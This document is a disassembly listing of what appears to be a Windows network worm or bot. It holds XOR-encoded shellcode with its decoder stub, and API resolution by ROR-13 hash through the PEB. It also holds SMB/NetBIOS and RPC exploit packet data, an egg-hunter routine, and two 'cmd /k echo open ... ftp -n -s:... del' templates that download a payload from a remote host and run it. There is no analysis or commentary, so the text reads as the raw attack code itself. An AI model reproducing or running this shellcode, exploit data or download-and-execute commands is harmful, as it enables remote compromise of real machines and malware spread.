aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_418081+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_418081+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_418885:loc_41897Ao
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_418885+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_418885+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_418885+ADo
		align 10h
dword_41A8B0	dd 0FFFFFFFFh, 4193C3h,	4193C7h, 0FFFFFFFFh, 419432h, 419436h
					; DATA XREF: sub_41920C+5o
		dd 41A9BCh
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		dd offset sub_4197B5
		dd offset sub_4199D6
		dd offset dword_41AA08
off_41A8DC	dd offset sub_41982C	; DATA XREF: sub_4197DE+3Ao
					; sub_419848o ...
		dd offset sub_4197B5
		dd offset loc_419A12
dword_41A8E8	dd 0			; DATA XREF: sub_4197DE+16o
					; sub_4198B0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_419853+11o
		dd offset dword_41AA54
off_41A908	dd offset sub_41993B	; DATA XREF: sub_419957o
					; sub_41997A+37o ...
		dd offset sub_4197B5
		dd offset loc_4199F4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41997A+11o
		dd offset dword_41AA98
off_41A928	dd offset loc_419AEC	; DATA XREF: sub_419AD7o
					; .packed:off_424E54o ...
		dd offset dword_41AAC8
off_41A930	dd offset loc_419B08	; DATA XREF: sub_419B24+8o
					; sub_419B61+8o ...
		dd offset sub_419BC1
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_419BC1+7o
		align 10h
dword_41A950	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_419BCE+Eo
		dd 3, 19930520h, 2 dup(0)
off_41A970	dd offset off_424E54	; DATA XREF: .packed:0041A9A4o
					; .packed:0041A9F0o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41A988	dd offset off_424E6C	; DATA XREF: .packed:0041A9A0o
					; .packed:0041A9ECo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41A988
		dd offset off_41A970
dword_41A9A8	dd 3 dup(0)		; DATA XREF: .packed:0041A9CCo
		dd 2, 41A9A0h, 3 dup(0)
		dd offset off_424E6C
		dd offset dword_41A9A8+4
off_41A9D0	dd offset off_424E8C	; DATA XREF: .packed:0041A9E8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41A9D0
		dd offset off_41A988
		dd offset off_41A970
		dd 0
		db    0			; DATA XREF: .packed:0041AA18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41A9E8h
dword_41AA08	dd 3 dup(0)		; DATA XREF: .packed:0041A8D8o
		dd offset off_424E8C
		dd offset unk_41A9F8
off_41AA1C	dd offset off_424EAC	; DATA XREF: .packed:0041AA34o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41AA1C
		dd offset off_41A988
		dd offset off_41A970
dword_41AA40	dd 3 dup(0)		; DATA XREF: .packed:0041AA64o
		dd 3, 41AA34h
dword_41AA54	dd 3 dup(0)		; DATA XREF: .packed:0041A904o
		dd offset off_424EAC
		dd offset dword_41AA40+4
off_41AA68	dd offset off_424ED0	; DATA XREF: .packed:0041AA80o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41AA68
		dd 0
		db    0			; DATA XREF: .packed:0041AAA8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41AA80h
dword_41AA98	dd 3 dup(0)		; DATA XREF: .packed:0041A924o
		dd offset off_424ED0
		dd offset unk_41AA88
		dd offset off_41A970
dword_41AAB0	dd 4 dup(0)		; DATA XREF: .packed:0041AAD8o
		dd 1, 41AAACh
dword_41AAC8	dd 3 dup(0)		; DATA XREF: .packed:0041A92Co
		dd offset off_424E54
		dd offset dword_41AAB0+8
		align 10h
dword_41AAE0	dd 19930520h, 2, 41AB00h, 5 dup(0) ; DATA XREF:	.packed:loc_419C27o
		dd 0FFFFFFFFh, 419C10h,	0
		dd offset sub_419C08
dword_41AB10	dd 19930520h, 2, 41AB30h, 5 dup(0) ; DATA XREF:	.packed:loc_419C44o
		dd 0FFFFFFFFh, 419C34h,	0
		dd offset loc_419C3C
dword_41AB40	dd 19930520h, 2, 41AB60h, 1, 41AB70h, 3	dup(0)
					; DATA XREF: .packed:loc_419C50o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41AB88h, 4	dup(0)
		dd offset loc_4026F1
		dd 0FFFFFFFFh, 419C5Ah
dword_41ABA0	dd 19930520h, 1, 41AB98h, 5 dup(0) ; DATA XREF:	.packed:loc_419C62o
		dd offset off_424E54
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	419B61h, 0
		dd offset off_424E6C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4198F8h, 0
		dd offset off_424E8C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 1Ch,	419962h, 3, 41ABF4h, 41ABD8h, 41ABBCh
dword_41AC20	dd 0			; DATA XREF: sub_419853+2Eo
					; sub_4199D6+4Bo
		dd offset sub_419848
		dd 0
; ---------------------------------------------------------------------------
		adc	[ecx+eax*2-100h], ch
		jmp	fword ptr [esp+ebx*4+41h]
; ---------------------------------------------------------------------------
		align 4
dword_41AC38	dd 19930520h, 1, 41AC30h, 4 dup(0) ; DATA XREF:	.packed:loc_419C74o
		dd 0FFFFFFFFh, 419C7Eh
dword_41AC5C	dd 19930520h, 1, 41AC54h, 4 dup(0) ; DATA XREF:	.packed:loc_419C86o
		dd 0FFFFFFFFh, 419C90h
dword_41AC80	dd 19930520h, 1, 41AC78h, 5 dup(0) ; DATA XREF:	.packed:loc_419C98o
		dd offset off_424EAC
		align 8
		dd 0FFFFFFFFh, 0
dword_41ACB0	dd 1Ch,	4199BEh, 3, 41AC9Ch, 41ABD8h, 41ABBCh ;	DATA XREF: .packed:0041ACD4o
dword_41ACC8	dd 0			; DATA XREF: sub_41997A+2Eo
					; sub_4199D6+2Do
		dd offset sub_419957
		dd 0
		dd offset dword_41ACB0+8
		dd 0FFFFFFFFh, 419CA2h
dword_41ACE0	dd 19930520h, 1, 41ACD8h, 4 dup(0) ; DATA XREF:	.packed:loc_419CAAo
dword_41ACFC	dd 2, 41ABD8h, 41ABBCh	; DATA XREF: .packed:0041AD14o
dword_41AD08	dd 0			; DATA XREF: sub_4199D6+Fo
		dd offset sub_41979A
		dd 0
		dd offset dword_41ACFC
		dd 1AEF0h, 2 dup(0)
		dd 1AF4Eh, 1A188h, 1AEE0h, 2 dup(0)
		dd 1AF9Ch, 1A178h, 1AD68h, 2 dup(0)
		dd 1B648h, 1A000h, 4ABh	dup(0)
dword_41C000	dd 0			; DATA XREF: sub_41080C+1Fo
		dd offset sub_40279F
dword_41C008	dd 0			; DATA XREF: sub_41080C+1Ao
dword_41C00C	dd 0			; DATA XREF: sub_41080C+10o
		dd offset sub_40F842
		dd offset sub_416064
		dd offset sub_4169F6
		dd offset sub_41724C
dword_41C020	dd 0			; DATA XREF: sub_41080C:loc_410817o
dword_41C024	dd 0			; DATA XREF: sub_41085B+65o
		dd offset sub_416A9B
dword_41C02C	dd 0			; DATA XREF: sub_41085B:loc_4108BBo
dword_41C030	dd 0			; DATA XREF: sub_41085B+76o
		dd offset sub_41725D
dword_41C038	dd 2 dup(0)		; DATA XREF: sub_41085B:loc_4108CCo
aFxnbfxfxnbfxfx:			; DATA XREF: sub_401294+59o
					; sub_401294+A8o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_41C11C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_4014EF+F9o
					; sub_4014EF+204o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41C168	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_401294+17Co
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_41C19C	dd offset dword_43005C	; DATA XREF: sub_401294+165o
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_41C1DC	dd 20h,	0		; DATA XREF: sub_401294+13Eo
		dd 20h,	5C005Ch, 0
dword_41C1F0	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_401294+12Bo
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0			; CODE XREF: sub_41C556:loc_41C56Bj
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
; ---------------------------------------------------------------------------


loc_41C554:				; DATA XREF: sub_401294+73o
		jmp	short loc_41C566

; =============== S U B	R O U T	I N E =======================================



sub_41C556	proc near		; CODE XREF: sub_41C556:loc_41C566p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_41C55E:				; CODE XREF: sub_41C556+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_41C55E
		jmp	short loc_41C56B
; ---------------------------------------------------------------------------


loc_41C566:				; CODE XREF: .packed:loc_41C554j
		call	sub_41C556


loc_41C56B:				; CODE XREF: sub_41C556+Ej
		jo	short near ptr dword_41C4FC+6
		cwde
		cdq
		cdq
		retn
sub_41C556	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_41C604	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_401294+32o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
		dd 195h
dword_41C6F0	dd 10016C6h		; DATA XREF: sub_401294+10Co
dword_41C6F4	dd 100139Dh		; DATA XREF: sub_401294+103o
dword_41C6F8	dd 195h			; DATA XREF: sub_401294+3Cr
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_401000+91o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
asc_41C76C:				; DATA XREF: sub_4010F9+1Co
					; sub_4011DC+16o
		unicode	0, <\\>,0
		align 4
off_41C774	dd offset dword_49005C	; DATA XREF: sub_4010F9+Co
					; sub_4011DC+Bo
		dd offset dword_430050
		dd 24h
dword_41C780	dd 65706970h, 6D70655Ch, 65707061h, 72h	; DATA XREF: sub_4014EF+52o
dword_41C790	dd 73255C5Ch, 5Ch	; DATA XREF: sub_4014EF+41o
byte_41C798	db 90h			; DATA XREF: sub_401A03+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_41C7A4	dd 10FF8h, 0		; DATA XREF: sub_401A03+6Ao
dword_41C7AC	dd 10FF8h		; DATA XREF: sub_401A03+79o
dword_41C7B0	dd 7FFDF020h, 0		; DATA XREF: sub_401A03+162o
dword_41C7B8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_401E2D+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41C840	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_401E2D+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_41C870	dd 0			; DATA XREF: sub_401E2D+44o
		dd 800000D4h, 0
unk_41C87C	db  81h	; 		; DATA XREF: sub_401F07+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 8
byte_41C8C8	db 41h			; DATA XREF: sub_401FA5+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41C90C	proc near		; DATA XREF: .packed:00402282o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_41CA08
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41CA1E
		mov	[esi+8], eax
		call	sub_41C9D1
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41CA1E
		mov	[esi+0Ch], eax
		call	sub_41C983
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41CA1E
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_41C90C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C983	proc near		; CODE XREF: sub_41C90C+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_41C9AC
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41C983	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C9AC	proc near		; CODE XREF: sub_41C983+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_41C9BB:				; CODE XREF: sub_41C9AC+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_41C9C8
		inc	ebx
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9C8:				; CODE XREF: sub_41C9AC+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_41C9AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C9D1	proc near		; CODE XREF: sub_41C90C+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_41C9E9:				; CODE XREF: sub_41C9D1+1Ej
		cmp	[ecx], ebx
		jz	short loc_41C9F1
		mov	ecx, [ecx]
		jmp	short loc_41C9E9
; ---------------------------------------------------------------------------


loc_41C9F1:				; CODE XREF: sub_41C9D1+1Aj
		mov	edx, edi


loc_41C9F3:				; CODE XREF: sub_41C9D1+2Aj
		cmp	[edx+4], ebx
		jz	short loc_41C9FD
		mov	edx, [edx+4]
		jmp	short loc_41C9F3
; ---------------------------------------------------------------------------


loc_41C9FD:				; CODE XREF: sub_41C9D1+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_41C9D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA08	proc near		; CODE XREF: sub_41C90C+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_41CA08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA1E	proc near		; CODE XREF: sub_41C90C+16p
					; sub_41C90C+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_41CA34:				; CODE XREF: sub_41CA1E+33j
		jecxz	short loc_41CA6E
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41CA41:				; CODE XREF: sub_41CA1E+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_41CA4D
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41CA41
; ---------------------------------------------------------------------------


loc_41CA4D:				; CODE XREF: sub_41CA1E+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_41CA34
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41CA6E:				; CODE XREF: sub_41CA1E:loc_41CA34j
					; sub_41CA1E:loc_41CA6Ej
		jmp	short loc_41CA6E
sub_41CA1E	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_41CA74	proc near		; DATA XREF: .packed:00402232o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_41CAC6
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41CA91:				; CODE XREF: sub_41CA74+38j
		jecxz	short loc_41CAC1
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_41CA9C:				; CODE XREF: sub_41CA74+32j
		lodsb
		test	al, al
		jz	short loc_41CAA8
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_41CA9C
; ---------------------------------------------------------------------------


loc_41CAA8:				; CODE XREF: sub_41CA74+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41CA91
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_41CAC1:				; CODE XREF: sub_41CA74:loc_41CA91j
		mov	[esp+arg_0], ebx
		retn
sub_41CA74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CAC6	proc near		; CODE XREF: sub_41CA74+7p

; FUNCTION CHUNK AT 0041CAFE SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_41CADF
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_41CAEA
; ---------------------------------------------------------------------------


loc_41CADF:				; CODE XREF: sub_41CAC6+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_41CAEA:				; CODE XREF: sub_41CAC6+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41CAFE
sub_41CAC6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CAF1	proc near		; CODE XREF: sub_41CAC6:loc_41CAFEp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_41CAF1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CAC6


loc_41CAFE:				; CODE XREF: sub_41CAC6+29j
		call	sub_41CAF1


loc_41CB03:				; DATA XREF: sub_4019A8+1Bo
					; sub_40997B+7ADo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_41CAC6
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_41CB08	dd 60h			; DATA XREF: sub_401A03+320o
dword_41CB0C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401A03+2F5o
dword_41CB18	dd 30h			; DATA XREF: sub_401A03+2CAo
dword_41CB1C	dd 0A1h			; DATA XREF: sub_401A03+29Fo
dword_41CB20	dd 3			; DATA XREF: sub_401A03+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_401A03+153o
		align 4


loc_41CB2C:				; DATA XREF: sub_401A03+E8o
		jmp	short near ptr dword_41CB34
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_41CB34	dd 0			; CODE XREF: .packed:loc_41CB2Cj
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: .packed:00402257o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_41CBAC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: .packed:00402909o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
